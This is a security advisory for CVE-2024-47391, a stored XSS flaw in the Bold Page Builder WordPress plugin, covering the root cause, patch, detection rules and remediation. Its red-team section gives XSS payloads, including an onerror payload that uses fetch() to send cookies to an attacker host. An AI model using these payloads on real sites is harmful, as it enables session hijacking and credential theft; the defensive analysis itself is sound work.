CVE-2024-47391

Executive Summary

CVE-2024-47391 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder WordPress plugin developed by Bold-Themes. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim (such as an administrator or visitor) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability exists due to improper neutralization of user-supplied input during web page generation. The plugin is widely used in the WordPress ecosystem, making this a significant supply chain risk for site owners.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The compromised component is part of the site’s content management system, and exploitation can lead to full site compromise if an administrator’s session is hijacked. No known public exploit code or proof-of-concept is available at this time, but the risk remains high due to the plugin’s popularity.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor or higher)
• User Interaction: Required (Victim must view the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin elevates the risk, especially for sites with multiple user roles.

Deep Dive & Mechanics

The vulnerability resides in the Bold Page Builder plugin’s handling of user input when creating or editing pages. The plugin fails to sanitize or escape certain fields before storing them in the database. When the page is rendered, the unsanitized input is output directly into the HTML, allowing an attacker to inject JavaScript.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits a page using the Bold Page Builder.
2. The attacker inserts malicious JavaScript into a vulnerable field (e.g., a text block, custom CSS, or attribute).
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When an administrator or visitor views the page, the injected script executes in their browser.
5. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo or print functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (Version < 5.1.1):

// In a template or shortcode handler
echo $some_user_input; // Direct output without sanitization

Patched Code (Version 5.1.1):

// Properly escaped output
echo esc_html( $some_user_input );

The patch applies WordPress’s escaping functions to all user-controllable output points, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Bold Page Builder < 5.1.1
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new page and add a Bold Page Builder element (e.g., a text block).
3. In the content field, inject a payload such as:

   <script>alert('XSS')</script>
   

4. Save the page and wait for an administrator to view it.
5. For a more advanced payload, use:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual page edits by low-privilege users.
• Look for <script> tags or event handlers in page content.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hardening:

• Immediately update to version 5.1.1 or later.
• Restrict contributor roles and review user permissions.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/bold-page-builder/ (check version in readme.txt)
• Database: Suspicious entries in wp_posts or wp_postmeta containing <script> tags or event handlers.
• Logs: Unusual page creation or editing activity from contributor accounts.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin panel.

Detection Engineering

YARA Rule

rule CVE_2024_47391_Bold_Page_Builder_XSS {
    meta:
        description = "Detects vulnerable Bold Page Builder plugin files"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-47391"
    strings:
        $vuln_func = /echo\s*\$[a-zA-Z_][a-zA-Z0-9_]*/ nocase
        $plugin_path = "bold-page-builder" nocase
    condition:
        $plugin_path and #vuln_func > 0
}

Sigma Rule

title: CVE-2024-47391 - Bold Page Builder Stored XSS
id: 8a3f2c1e-5d7b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects potential exploitation of stored XSS in Bold Page Builder
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.response.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47391 - Bold Page Builder Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=bold_page_builder_save"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update the Bold Page Builder plugin to version 5.1.1 or later.
2. Verify: Check all pages and posts for injected scripts using a security scanner.
3. User Management: Review and restrict contributor-level accounts.
4. WAF: Deploy rules to block common XSS payloads in POST requests.
5. CSP: Implement a strict Content Security Policy to prevent inline script execution.
6. Monitoring: Enable logging for page edits and review regularly.

Valters IT
Securing Digital Ecosystems